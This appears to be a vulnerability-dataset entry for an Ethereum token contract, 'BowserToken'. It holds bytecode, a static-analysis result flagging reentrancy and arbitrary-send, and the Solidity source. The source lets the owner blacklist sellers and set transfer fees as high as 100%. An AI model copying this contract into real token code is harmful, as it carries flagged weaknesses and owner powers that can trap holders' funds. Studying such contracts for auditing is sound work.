160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203754ddc0d5bc52e11da792d2183c0b61720cf527eb21a04e2e32a7b9fbf2ce1064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,788 |
0x604b139c4e63412b188cb5eadf89a4580cf4cef9
|
/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
/*
1% transaction limit first five minutes
1 trillion supply
Anti snipe
blacklist for bots
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
abstract contract IERC20Extented is IERC20 {
function decimals() public view virtual returns (uint8);
function name() public view virtual returns (string memory);
function symbol() public view virtual returns (string memory);
}
contract BowserToken is Context, IERC20, IERC20Extented, Ownable {
using SafeMath for uint256;
string private constant _name = "Bowser Token";
string private constant _symbol = "Bowser Token";
uint8 private constant _decimals = 9;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _tFeeTotal;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public _buybackFee = 100; // divided by 1000 (so, 10%)
uint256 private _previousBuybackFee = _buybackFee;
uint256 public _marketingFee = 25; // divided by 1000 (so, 2.5%)
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _devFee = 25; // divided by 1000 (so, 2.5%)
uint256 private _previousDevFee = _devFee;
uint256 public _marketingPercent = 33;
uint256 public _buybackPercent = 67;
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0xD6be1842A692a60930C4D2aA3EdB537d93787f45);
address payable private _buybackAddress = payable(0xBF0BEaA9291D5D216EFF43216Bc761E6fc162c50);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxTxAmount;
bool private tradingOpen = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event PercentsUpdated(uint256 _marketingPercent, uint256 _buybackPercent);
event FeesUpdated(uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply
balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_buybackAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() override public pure returns (string memory) {
return _name;
}
function symbol() override public pure returns (string memory) {
return _symbol;
}
function decimals() override public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _buybackFee == 0 && _devFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
_marketingFee = 0;
_buybackFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_marketingFee = _previousMarketingFee;
_buybackFee = _previousBuybackFee;
_devFee = _previousDevFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(tradingOpen);
require(amount <= _maxTxAmount);
if (block.timestamp <= _firstBlock + (5 minutes)) { // max transaction amount is 1% during first five minutes of trading
require(amount <= _tTotal.div(100));
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) { // buys
if (block.timestamp <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { // sells, transfers (except for buys)
require(!bots[to] && !bots[from]); // bots can't sell or transfer
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.mul(_marketingPercent).div(100));
_buybackAddress.transfer(amount.mul(_buybackPercent).div(100));
}
function openTrading(uint256 botBlocks) external onlyOwner() {
_firstBlock = block.timestamp;
_botBlocks = botBlocks;
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
if (!takeFee) removeAllFee();
(uint256 tTransferAmount, uint256 tBuyback, uint256 tMarketing, uint256 tDev) = _getValues(tAmount);
balances[sender] = balances[sender].sub(tAmount);
balances[recipient] = balances[recipient].add(tTransferAmount);
_takeBuyback(tBuyback);
_takeMarketing(tMarketing);
_takeDev(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeBuyback(uint256 tBuyback) private {
balances[address(this)] = balances[address(this)].add(tBuyback);
}
function _takeMarketing(uint256 tMarketing) private {
balances[address(this)] = balances[address(this)].add(tMarketing);
}
function _takeDev(uint256 tDev) private {
balances[address(this)] = balances[address(this)].add(tDev);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tBuyback = tAmount.mul(_buybackFee).div(1000);
uint256 tMarketing = tAmount.mul(_marketingFee).div(1000);
uint256 tDev = tAmount.mul(_devFee).div(1000);
uint256 tTransferAmount = tAmount.sub(tBuyback).sub(tMarketing);
tTransferAmount -= tDev;
return (tTransferAmount, tBuyback, tMarketing, tDev);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function removeBot(address account) public onlyOwner() {
bots[account] = false;
}
function addBot(address account) public onlyOwner() {
bots[account] = true;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setPercents(uint256 marketingPercent, uint256 buybackPercent) external onlyOwner() {
require(marketingPercent.add(buybackPercent) == 100, "Sum of percents must equal 100");
_marketingPercent = marketingPercent;
_buybackPercent = buybackPercent;
emit PercentsUpdated(_marketingPercent, _buybackPercent);
}
function setTaxes(uint256 marketingFee, uint256 buybackFee, uint256 devFee) external onlyOwner() {
require(marketingFee.add(buybackFee).add(devFee) <= 1000, "Sum of sell fees must be less than 1000");
_marketingFee = marketingFee;
_buybackFee = buybackFee;
_devFee = devFee;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
emit FeesUpdated(_marketingFee, _buybackFee, _devFee);
}
}
|
0x6080604052600436106101a05760003560e01c8063770d9907116100ec578063d16336491161008a578063e1d7eefd11610064578063e1d7eefd1461059d578063e9dae5ed146105c8578063ea2f0b37146105f1578063ffecf5161461061a576101a7565b8063d16336491461050e578063d543dbeb14610537578063dd62ed3e14610560576101a7565b8063a9059cbb116100c6578063a9059cbb14610466578063aa45026b146104a3578063b44a14b6146104ce578063c3c8cd80146104f7576101a7565b8063770d9907146103e55780638da5cb5b1461041057806395d89b411461043b576101a7565b8063313ce567116101595780635fecd926116101335780635fecd926146103515780636fc3eaec1461037a57806370a0823114610391578063715018a6146103ce576101a7565b8063313ce567146102d2578063437823ec146102fd57806349bd5a5e14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806319de79ab1461023f57806322976e0d1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610643565b6040516101ce9190612bc7565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612817565b610680565b60405161020b9190612bac565b60405180910390f35b34801561022057600080fd5b5061022961069e565b6040516102369190612d49565b60405180910390f35b34801561024b57600080fd5b506102546106af565b6040516102619190612d49565b60405180910390f35b34801561027657600080fd5b5061027f6106b5565b60405161028c9190612d49565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b791906127c8565b6106bb565b6040516102c99190612bac565b60405180910390f35b3480156102de57600080fd5b506102e7610794565b6040516102f49190612e1e565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061273a565b61079d565b005b34801561033257600080fd5b5061033b61088d565b6040516103489190612b91565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061273a565b6108b3565b005b34801561038657600080fd5b5061038f6109a3565b005b34801561039d57600080fd5b506103b860048036038101906103b3919061273a565b610a15565b6040516103c59190612d49565b60405180910390f35b3480156103da57600080fd5b506103e3610a5e565b005b3480156103f157600080fd5b506103fa610bb1565b6040516104079190612d49565b60405180910390f35b34801561041c57600080fd5b50610425610bb7565b6040516104329190612b91565b60405180910390f35b34801561044757600080fd5b50610450610be0565b60405161045d9190612bc7565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612817565b610c1d565b60405161049a9190612bac565b60405180910390f35b3480156104af57600080fd5b506104b8610c3b565b6040516104c59190612d49565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061287c565b610c41565b005b34801561050357600080fd5b5061050c610d7a565b005b34801561051a57600080fd5b5061053560048036038101906105309190612853565b610df4565b005b34801561054357600080fd5b5061055e60048036038101906105599190612853565b610eb5565b005b34801561056c57600080fd5b506105876004803603810190610582919061278c565b610ffe565b6040516105949190612d49565b60405180910390f35b3480156105a957600080fd5b506105b2611085565b6040516105bf9190612d49565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea91906128b8565b61108b565b005b3480156105fd57600080fd5b506106186004803603810190610613919061273a565b6111ff565b005b34801561062657600080fd5b50610641600480360381019061063c919061273a565b6112ef565b005b60606040518060400160405280600c81526020017f426f7773657220546f6b656e0000000000000000000000000000000000000000815250905090565b600061069461068d6113df565b84846113e7565b6001905092915050565b6000683635c9adc5dea00000905090565b60085481565b600a5481565b60006106c88484846115b2565b610789846106d46113df565b610784856040518060600160405280602881526020016133a860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073a6113df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611baf9092919063ffffffff16565b6113e7565b600190509392505050565b60006009905090565b6107a56113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082990612ca9565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108bb6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612ca9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109e46113df565b73ffffffffffffffffffffffffffffffffffffffff1614610a0457600080fd5b6000479050610a1281611c13565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a666113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90612ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f426f7773657220546f6b656e0000000000000000000000000000000000000000815250905090565b6000610c31610c2a6113df565b84846115b2565b6001905092915050565b600c5481565b610c496113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd90612ca9565b60405180910390fd5b6064610ceb8284611d3690919063ffffffff16565b14610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2290612ce9565b60405180910390fd5b81600e8190555080600f819055507f012f5df73148ec03a4ac44111fcf100a014ee232c9f1b328180ab5f3996821e5600e54600f54604051610d6e929190612dbe565b60405180910390a15050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb6113df565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b6000610de630610a15565b9050610df181611d94565b50565b610dfc6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612ca9565b60405180910390fd5b42600681905550806007819055506001601660006101000a81548160ff02191690831515021790555050565b610ebd6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612ca9565b60405180910390fd5b60008111610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612c49565b60405180910390fd5b610fbc6064610fae83683635c9adc5dea0000061208e90919063ffffffff16565b61210990919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610ff39190612d49565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b6110936113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffff